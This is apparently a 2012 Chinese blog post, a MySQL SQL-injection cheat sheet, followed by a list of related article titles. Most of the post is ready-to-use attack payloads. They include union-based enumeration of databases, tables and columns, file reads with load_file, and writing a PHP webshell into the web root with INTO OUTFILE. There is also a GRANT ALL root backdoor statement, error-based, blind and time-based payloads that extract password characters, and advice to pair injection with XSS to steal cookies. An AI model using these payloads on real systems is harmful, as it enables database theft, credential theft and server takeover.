作者:L.N.

时间:2012-07-23

博客:lanu.sinaapp.com

目录:

0x00 mysql一般注入(select)

0x01 mysql一般注入(insert、update)

0x02 mysql报错注入

0x03 mysql一般盲注

0x04 mysql时间盲注

0x05 mysql其他注入技巧

0x06 mysql数据库版本特性

0x07 声明

正文:

0x00 mysql一般注入(select)

1.注释符

#

--

2.过滤空格注入

使用/**/或()或+代替空格

%0c = form feed, new page

%09 = horizontal tab

%0d = carriage return

%0a = line feed, new line

3.多条数据显示

concat()

group_concat()

concat_ws()

4.相关函数

system_user() 系统用户名

user() 用户名

current_user 当前用户名

session_user()连接数据库的用户名

database() 数据库名

version() MYSQL数据库版本

load_file() MYSQL读取本地文件的函数

@@datadir 读取数据库路径

@@basedir MYSQL 安装路径

@@version_compile_os 操作系统 Windows Server 2003

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

5.mysql一般注

猜字段数

order by n/*

查看mysql基本信息

and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*

查询数据

and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*

and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*

查询表名

and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码/*

查询字段

and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码/*

查询数据

and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*

判断是否具有读写权限

and (select count(*) from mysql.user)>0/*

and (select count(file_priv) from mysql.user)>0/*

6.mysql读取写入文件

必备条件:

读:file权限必备

写:1.绝对路径 2.union使用 3. 可以使用''

-------------------------读----------------------

mysql3.x读取方法

create table a(cmd text);

load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;

select * from a;

mysql4.x读取方法

除上述方法还可以使用load_file()

create table a(cmd text);

insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));

select * from a;

mysql5.x读取方法

上述两种都可以

读取文件技巧:

load_file(char(32,26,56,66))

load_file(0x633A5C626F6F742E696E69)

------------写--------------------------

into outfile写文件

union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话***代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

0x01 mysql一般注入(insert、updat

mysql一般请求mysql_query不支持多语句执行,mysqli可以。

insert注入多使用报错注入!

1.如果可以直接插入管理员可以直接使用!

insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/*');

2.如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来获取cookies或getshell

update注入同上

0x02 mysql报错注入

1. and(select 1 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1

2. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)--

3.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);

4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b)));

0x03 mysql一般盲注

使用ascii

AND ascii(substring((SELECT password FROM users where id=1),1,1))=49

使用正则表达式

and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

0x04 mysql时间盲注

1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl

UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’

0x05 mysql其他注入技巧

以后遇见了更新

0x06 mysql数据库版本特性

1. mysql5.0以后 information.schema库出现

2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下

3.mysql5.x以后 system执行命令

0x07 声明

如有错误,希望指正

如果遗漏,希望讨论

小菜总结,大牛勿吐

记录笔记,时常复习

mysql create注入语句_mysql注入总结相关推荐

  1. mysql注入漏洞语句_mysql注入sleep语句引发的拒绝服务

    2012-2-15 9:26 Wednesdaymysql注入sleep语句引发的拒绝服务 mysql存在注入,并且注入的sleep语句如果传入一个足够大的参数,比如:sleep(9999999999 ...

  2. mysql注入大全_mysql注入大全及防御

    0.明白存在的位置:get型 post型 cookie型 http头注入 1.先测试注入点,注册框.搜索框.地址栏啥的,判断是字符型,搜索型还是数字型 字符型 1' and '1'='1 成功, 1' ...

  3. mysql注入总结_mysql注入总结 - osc_wpg0dgym的个人空间 - OSCHINA - 中文开源技术交流社区...

    前言:看玩mysql注入 做一篇总结然后去打GTA 5 正文: mysql注入与access注入不一样.因为数据库的特性不一样 access注入的暴力注入 mysql是有逻辑性的注入 首先得判断是什么 ...

  4. mysql中表结构语句_mysql中表数据与表结构复制语句

    本文章来给各位朋友介绍一下关于在mysql中进行表数据与表结构复制语句,方法会有很多种下面我来介绍介绍,有需要了解的朋友可参考. 先来总结复制表与结的方法 一.CREATE TABLE 方法 整表复制 ...

  5. mysql修改索引语句_mysql——创建索引、修改索引、删除索引的命令语句

    查看表中已经存在 index:show index from table_name; 创建和删除索引索引的创建可以在CREATE TABLE语句中进行,也可以单独用CREATE INDEX或ALTER ...

  6. mysql的repeat语句_mysql实例 repeat语句的用法

    本节分享一段mysql实例代码,学习mysql中repeat语句的用法. 代码如下: mysql> DELIMITER // mysql> CREATE FUNCTION myFuncti ...

  7. mysql查看ddl语句_mysql语句-DDL语句

    SQL分类 1.DDL语句:数据定义语句,用来定义不同的数据段.数据库,表,列,索引等数据表对象,常用语句:create.drop.alter等. 2.DML语句:数据操作语句,用于添加.删除.更新和 ...

  8. mysql的delete语句_mysql删除语句

    展开全部 mysql删除语句如下: 1.delete删除一行:delete from student where id=1. 2.delete删除多行:delete from student wher ...

  9. mysql删除索引语句_MySQL:使用SQL语句删除所有索引

    删除所有索引 可利用ALTER TABLE或DROP INDEX语句来删除索引.这里使用ALTER TABLE,首先查询所有索引,然后拼接成删除语句,复制执行即可 #拼接删除索引的语法 SELECT ...

最新文章

  1. ASP.NET中如何防范SQL注入式攻击
  2. Xshell利用Xftp传输文件,使用pure-ftpd搭建ftp服务
  3. vue 怎么在字符串中指定位置插入字符_vue 我想在一个字符串中间加入一个/br 该怎么写?...
  4. 【译】10 years Blockchain. The Race is on: Blockchain vs. Tangle vs. Hashgraph
  5. 第二阶段团队冲刺(七)
  6. 二维数组 类型_Java第六章 | 二维数组的创建及使用、数组排序算法
  7. java设计模式并发_[高并发Java 七] 并发设计模式
  8. PHP判断升级,版本检测升级(更新)库
  9. as4配置本地gradle_Gradle和Maven的区别
  10. 锐起无盘XP2.0(2050)语音视频教程
  11. FPGA驱动ESP8266 WiFi模块
  12. 第九届蓝桥杯单片机省赛
  13. 图书馆在计算机房旁边用英语怎么说,PEP四年级下学期英语期末复习
  14. url在html中的作用,所谓的URL到底是什么意思,URL有什么作用
  15. 本地计算机的ics无法启动不了,ics启动失败怎么办 win8_ICS服务无法启动(win8.1)...
  16. Gartner发布2022年新兴技术成熟度曲线,推动沉浸式、AI自动化发展
  17. 【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-7
  18. 背景建模方法论文总结
  19. 【ATcode】怪文書 / Dubious Document(题意)
  20. 心脏滴血漏洞(CVE-2014-0160)分析与防护

热门文章

  1. NGUI控件说明——UIKeyBinding
  2. [扫描线 线段树] BZOJ 4422 [Cerc2015]Cow Confinement
  3. Mybatis——Mybatis整合Spring详解
  4. 项目经理不简单(转载)
  5. 深入理解注意力机制(加权求和)
  6. Looking Back From a High Level--Ray Dalio《principles》
  7. 20135208JAVA第二次试验
  8. 图像几何变换时为何要用到插值算法?_图像超分辨率技术-简介
  9. Android项目实战--手机卫士14--接电话时显示电话归属地
  10. cdoj 1334 郭大侠与Rabi-Ribi Label:贪心+数据结构